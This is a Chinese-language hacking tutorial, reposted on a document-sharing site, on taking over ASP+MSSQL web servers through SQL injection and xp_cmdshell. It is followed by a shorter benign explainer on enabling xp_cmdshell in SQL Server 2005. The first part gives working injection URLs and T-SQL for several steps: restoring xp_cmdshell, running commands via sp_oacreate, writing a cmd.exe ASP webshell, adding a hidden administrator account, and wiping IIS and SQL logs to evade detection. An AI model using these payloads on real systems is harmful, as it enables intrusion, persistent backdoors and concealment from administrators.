SA遇到XPCMDSHELL时.docx
- 文档编号:579078
- 上传时间:2023-04-29
- 格式:DOCX
- 页数:14
- 大小:22.01KB
SA遇到XPCMDSHELL时.docx
《SA遇到XPCMDSHELL时.docx》由会员分享,可在线阅读,更多相关《SA遇到XPCMDSHELL时.docx(14页珍藏版)》请在冰点文库上搜索。
SA遇到XPCMDSHELL时
SA遇到XP_CMDSHELL时
有时候在入侵的时候总是碰到先烦恼的问题,比如SA遇到xp_cmdshell时,如果管理员把xp_cmdshell删了怎么办呢?
总是眼看着肉鸡跑了吧!
今天我就对XP_CMDSHELL做一先解释,希望大家能看明白,能看懂
众所周知,在MSSQL中,通过XP_cmdshell存储扩展,拥护具有sysadmin权限,用来执行系统任意命令,但是那先网管也不是吃素的,都会把它删除,所以在SQLInjection攻击中,获得xp_cmdshell的执行权限才是最终的目标,在MSSQL中一共有8中权限分别是sysadmindbcreatordiskadminprocessadminserveradminsetupadminsecurityadminbulkadmin这8种每一个都具有不同的权限,大家都因该可以知道其中的sysadmin权限是最高的,也是我们想要的。
。
。
大家都知道在MSSQL中,SA的权限是至高无上的了,但是有时获得了个SA却无法执行命令是,是不是很郁闷了呢?
获得了个SA一般我们都用SQLTOOLS.EXE连接吧!
一个比较好的工具,我也喜欢,呵呵!
首先还是让我们看看吧!
用SQLTOOLS.EXE连上后看看它的XP_cmdshell存储扩展是不是被删了,在“利用目录”菜单中打开“执行数据库命令”填入我们要执行的命令:
Selectcount(*)frommaster.dbo.sysobjectswherextype='X'andname='xp_cmdshell'
如果返回结果是1的话,说明它没有删除这个扩展存储过程,我们可以执行DOS命令了,如果不行呢?
接着看,还有办法,我们直接在数据库命令执行窗写入:
Execmaster.dbo.addextendedproc'xp_cmdshell','xplog70.dll';selectcount(*)from
master.dbo.sysobjectswherextype='X'andname='xp_cmdshell'
上面的意思就是恢复默认的存储过程,如果返回1的话说明恢复成功,不然就是存储扩展被删除了,需要我们给它上传个xplog70.dll用SQLTOOLS.EXE自带的文件上传功能可以轻松实现了,把xplog70.dll文件传到对方的c:
\winnt\system32下,(不行的话,需传到对方的MSSQL目录里)在执行数据库命令:
Execmaster.dbo.addextendedproc'xp_cmdshell','c:
\winnt\system32\xplog70.dll'
好了,接下来就是我们常用的命令netuser和netlocalgroupadministrators命令了,还有清楚IIS日记和MSSQL日记就OK了!
上面的方法是可以了但我们还可以饶过xp_cmdshell,来执行系统命令,大家知道在MSSQL中可以通过两个存储扩展来创建activex自动脚本,呵呵,大家想到了吧!
是xp_oacreate和sp_oamethod通过它们执行系统命令的语句我们可以自己给他加上哦,代码如下:
declare@oint
execsp_oacreate'wscript.shell',@oout
execsp_oamethod@o,'run',NULL,'netstarttelnet'
上面那段代码的意思就是通过服务器上的wscript.shel来执行netstarttelnet开启服务器的telnet
接下来呢就是通过FSO对服务器进行文件管理或者直接创建文件并写入数据,呵呵,可以直接写一个WEBSHELL到服务器上去哦!
!
!
HOHO~~~~
declare@oint,@fint,@retint
execsp_oacreate'scripting.filesystemobject',@oout
execsp_oamethod@o,'creatextifile',@fout,'c:
\inetpub\wwwroot\mad.asp',1
exec@ret=sp_oamethod@f,'writeline',NULL,'<%seto=
server.createobject("wscript.shell":
o.run("cmd.exe/c"&request.querystring("cmd")%>
上面的代码就在服务器c:
\inetpub\wwwroot\mad.asp上创建了了只有两行的代码我们直接连上去就OK了大家不防试试吧。
下面我还是对大家入侵时做一先解释吧,希望大家能看明白,
举个例子现在咱们要入侵的网站是这个www.***.com
第一还是踩点,找到入口,现在注入这么流行,还是注入吧,因为一般网站都是ASP+MSSQL结构来架设的。
假如这个www.***.com/script.asp?
id=48还是一样用,;and1=1and1=2判断一下,确定可以注入后,我们就可以利用这个漏洞拿到服务器和数据库的一些相关信息。
想看服务器打的补丁情况,我们提交:
www.***.com/script.asp?
id=48and1=(select@@VERSION)
我想现在大部分服务器都打上SP4补丁了。
我们看看其它的,看看他的数据库连接账号的权限,提交:
www.***.com/script.asp?
id=48and1=(SELECTIS_SRVROLEMEMBER('sysadmin'))
如果返回正常,这证明当前连接的账号是服务器角色sysadmin权限了,看来连接账号多半是采用SA账号连接的了,自己有好做的了,还是试一下。
万一猜错了呢?
提交:
www.***.com/script.asp?
id=48and'sa'=(SELECTSystem_user)
用来查看连接账号是不是用sa连接的,如果IE返回正常。
这证明了连接账号真的是SA,看来权限是高了哦(如果要获得已登录用户的身份,则使用Transact-SQL语句:
SELECTSYSTEM_USER)
下面我们就利用MSSQL存储过程,得到WebShell,首先还是看看xp_cmdshell是否被管理员删除了提交:
www.***.com/script.asp?
id=48and1=(SELECTcount(*)FROMmaster.dbo.sysobjectsWHERExtype='X'ANDname='xp_cmdshell')
如果被删除了,NOPROBLEM我们给他恢复一下。
提交:
www.***.com/script.asp?
id=48;EXECmaster.dbo.sp_addextendedproc'xp_cmdshell','xplog70.dll'
试一下看看xp_cmdshell是不是恢复过来了提交:
www.***.com/script.asp?
id=48and1=(SELECTcount(*)FROMmaster.dbo.sysobjectsWHERExtype='X'ANDname='xp_cmdshell')
如果没有返回内容。
这证明,管理员把xplog70.dll这个动态链接库给改名了。
要不给删除了。
现在大家可以用上面的方法试试了,到这里有耐心的话还可以继续啊。
可以用CZY提到的方法试试。
不过还用到两个MSSQL存储过程
xp_regread扩展存储过程和xp_regreadWeb助手存储过程:
xp_regread是用来读取注册表信息的,我们通过这个存储过程来得到保存在注册表中Web绝对路径
sp_makewebtask在我们这里是用来得到WebShell的,其主要功能就是导出数据库中表的记录为文件,文件名你可以自己指定。
当然我们这里就指定为ASP脚本文件
CZY的文章已经写得很详细了。
所以,我这里就只简单的提一下吧!
先创建一个表,建一字段,然后向这个字段中加入木马的内容。
然后,把内容通过xp_makewebtask存储过程导出成ASP脚本保存在Web绝对路径中再次删除建的临时表不知道的可要到网上找找哦!
不过还是先看看这两个存储过程是不是被删了。
。
提交:
www.***.com/script.asp?
id=48and1=(SELECTcount(*)FROMmaster.dbo.sysobjectsWHEREname='xp_regread')
www.***.com/script.asp?
id=48and1=(SELECTcount(*)FROMmaster.dbo.sysobjectsWHEREname='sp_makewebtask')
如果两个都返回正常的话,说明两个存储过程都没有删除:
(大家都知道MS的东西很多都放在注册表中的,Web位置我们可以在注册表中得到,位置如下:
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\VirtualRoots
利用扩展存储过程xp_regread我们可以取得它的值.
EXECmaster.dbo.xp_regread'HKEY_LOCAL_MACHINE',
'SYSTEM\ControlSet001\Services\W3SVC\Parameters\VirtualRoots','/'
这样,就取出来了,但问题又来了,取是取出来了,我们怎么在IE中返回它的值呢?
首先:
先创建一个临时表,表中加一字段,类型为:
char255。
呵呵,用它来保存Web绝对路径的值。
表建好后,我们就用读取注册表的方法,把返回的值保存在一变量中。
然后向新建的表中加入记录(即变量的值)。
这样,路径就写入到了表中。
提交:
DECLARE@resultvarchar(255)EXECmaster.dbo.xp_regread'HKEY_LOCAL_MACHINE',
'SYSTEM\ControlSet001\Services\W3SVC\Parameters\VirtualRoots','/',@resultoutputinsert
into临时表(临时字段名)values(@result);--
然后,我们再提交:
1=(selectcount(*)from临时表where临时字段名>1))
我们用CZY的方法继续提交:
www.***.com/script.asp?
id=48;createtable[dbo].[ABCD]([DACB][char](255));
这样我们就成功地建了一个名为ABCD的表,并且添加了类型是char,长度为255的字段名DACB。
然后向表中加数据:
www.***.com/script.asp?
id=48;create@resultvarchar(255)EXECmaster.dbo.xp_regread
'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\VirtualRoots','/',
@resultoutputinsertintocyfd(DACB)values(@result);--
继续提交从注册表中读出Web绝对路径,再把路径插入到刚建的表中。
然后报出WebShell的绝对路径
www.***.com/script.asp?
id=48and1=(selectcount(*)fromcyfdwheregyfd>1)
IE返回错误,我们得到Web绝对路径例如:
e:
\Inetpub\wwwroot
还要删除刚才建的表提交:
www.***.com/script.asp?
id=48;droptablecyfd;--
接下来就好办多了,路径都知道了。
得到WEBSHELL因该没问题了吧,得到WEBSHELL后,通过WEBSHELL上传xplog70.dll传到E:
\inetpub\wwwroot目录下我们给他恢复下。
提交:
www.***.com/script.asp?
id=48;EXECmaster.dbo.sp_addextendedproc‘xp_cmdshell’,
'e:
\inetpub\wwwroot\xplog70.dll'
(恢复,支持绝对路径的恢复!
)
用IE来查看一下是不是已经恢复了。
提交:
www.***.com/script.asp?
id=48and1=(SELECTcount(*)FROMmaster.dbo.sysobjectsWHERExtype='X'ANDname='xp_cmdshell')
如IE返回正常。
说明已经恢复了!
下面就建用户吧。
。
。
。
www.***.com/script.asp?
id=48;EXECmaster.dbo.xp_cmdshell'netuserabcd123456/add'
提升管理员
www.***.com/script.asp?
id=48;EXECmaster.dbo.xp_cmdshell'netlocalgroupadministratorsabcd/add'
好了到了这里就OK了。
。
如果对方有终端的话,就连接吧。
,还有清除IIS日志,和MSSQL日志闪人!
~
还有一点就是把xp_cmdshell也给他删除掉,不要让网管发现了。
HOHO~~~~
一、简介
xp_cmdshell扩展存储过程将命令字符串作为操作系统命令shell执行,并以文本行的形式返回所有输出。
二、SQLServer2005中的xp_cmdshell
由于存在安全隐患,所以在SQLServer2005中,xp_cmdshell默认是关闭的。
此时,如果执行xp_cmdshell将会提示服务未开启:
execxp_cmdshell'dirc:
\'
消息15281,级别16,状态1,过程xp_cmdshell,第1行
SQLServer阻止了对组件'xp_cmdshell'的过程'sys.xp_cmdshell'的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。
系统管理员可以通过使用sp_configure启用'xp_cmdshell'。
有关启用'xp_cmdshell'的详细信息,请参阅SQLServer联机丛书中的"外围应用配置器"。
三、开启xp_cmdshell
EXECsp_configure'showadvancedoptions',1;RECONFIGURE;EXECsp_configure'xp_cmdshell',1;RECONFIGURE;
关闭一样.只是将上面的后面的那个"1"改成"0"就可以了.
EXECsp_configure'showadvancedoptions',1;RECONFIGURE;EXECsp_configure'xp_cmdshell',0;RECONFIGURE;
未能找到存储过程'master..xp_cmdshell'
第一步执行:
EXECsp_addextendedprocxp_cmdshell,@dllname='xplog70.dll'declare@oint
第二步执行:
sp_addextendedproc'xp_cmdshell','xpsql70.dll'
四、小应用
execxp_cmdshell'dirc:
\'
output
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
驱动器C中的卷没有标签。
卷的序列号是4B44-2248
NULL
c:
\的目录
NULL
2009/03/1716:
251,024.rnd
2009/06/2220:
24
2009/07/2215:
39
2008/09/0103:
1274autoexec.bat
2006/09/1905:
4310config.sys
2008/01/2110:
43
2009/07/3123:
281,073,741,824ppsds.pgf
2009/07/2908:
57
2009/05/2721:
5420SSOLib.ini
2009/04/1711:
10
2009/08/1316:
48
2009/06/1822:
48
2008/10/1108:
24
2008/10/0404:
58
2009/07/3019:
58
5个文件1,073,742,952字节
10个目录34,368,856,064可用字节
NULL
(23行受影响)
应用2
输出f盘下某文件夹的所有JPG格式的文件
DECLARE@resultint
EXEC@result=xp_cmdshell'dirF:
\杂七杂八\photo\*.jpg'
IF(@result=0)
PRINT'Success'
ELSE
PRINT'Failure'
F:
\杂七杂八\photo的目录
NULL
2009/05/2819:
4388,931(~o~)Y.jpg
2008/10/0612:
5685,04466666.jpg
2008/10/0612:
56466,826DSC00040.JPG
2008/10/2821:
35355,820http_imgloadCA3DGXKF.jpg
2009/05/0719:
0483,433http_imgloadCAG3I0EJ.jpg
2009/05/0719:
04106,528http_imgloadCATYBM7V.jpg
2009/02/1919:
1872,074ME.jpg
2009/05/2819:
4276,863p_large_xoDu_2617d206096.jpg
2008/10/0612:
5754,716图像001.jpg
2008/10/0612:
5725,668图像005.jpg
2008/10/0612:
5717,675图像018.jpg
2008/12/2117:
3014,769图像022.jpg
2008/10/0612:
5714,707图像025.jpg
2008/10/0817:
34471,752新图像.JPG
2008/10/0612:
57111,465照片044.jpg
2008/10/0612:
5734,878集体照.jpg
16个文件2,081,149字节
0个目录8,026,488,832可用字节
NULL
(24行受影响)
Success
应用三:
将变量内容写入文件中
DECLARE@cmdsysname,@varsysname
SET@var='Helloworld'
SET@cmd='echo'+@var+'>F:
\xiaozhu.txt'
EXECmaster..xp_cmdshell@cmd
应用四:
将文件内容放到表里
insertinto#t
EXECmaster.dbo.xp_cmdshell'dirF:
\杂七杂八\photo\*.jpg/b'
这个还是举个例子吧
/*
数据库DBA中有表Table
结构如下:
-------------
id(自增)
path
---------------
path的内容类似这样记录
------------------------------------
200410172013291.jpg
2004101516293326425686.jpg
200412312558clip_image002.jpg
200410141821208.jpg
2004101213222695B6C65F4468C5E0D70242E7C066F154.jpg
20041011163730IMG_0243.JPG
2005720145516fyzw_20057138345.jpg
200578221362005620164840.jpg
20057822520玉照.JPG
20057151752442222.jpg
200578203732英x.jpg
200578164326图片008.jpg
200581832240.jpg
2005781626123.jpg
20057815392112.jpg
20057815324211111拷贝.jpg
2004101212359vb2.JPG
2004108134415IMAGE_00482.jpg
2004925232010照片:
).jpg
2004106143316t.jpg
20049231033373.jpg
2004922133386.JPG
2004914124416showphoto.jpg
2004911223336photo28.jpg
2004927945224.jpg
2005112819271273499.jpg
2004830144020ldmsapp1.jpg
2005715113135照片074_调整大小.jpg
……
---------------------------------
有一图片文件夹,里面图片名称就是path的值
(说明:
图片文件夹中存在的图片,一定可以在数据库中找到记录)
有什么好方法?
如何可以快速地将无图片的path值填为null呢?
?
?
图片大约有1000个左右
path中的的记录大约为5万条*/
ifobject_id('tb')isnotnull
droptabletb
go
createtabletb(idint,pathvarchar(200))
insertintotb
select1,'F:
\杂七
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- SA 遇到 XPCMDSHELL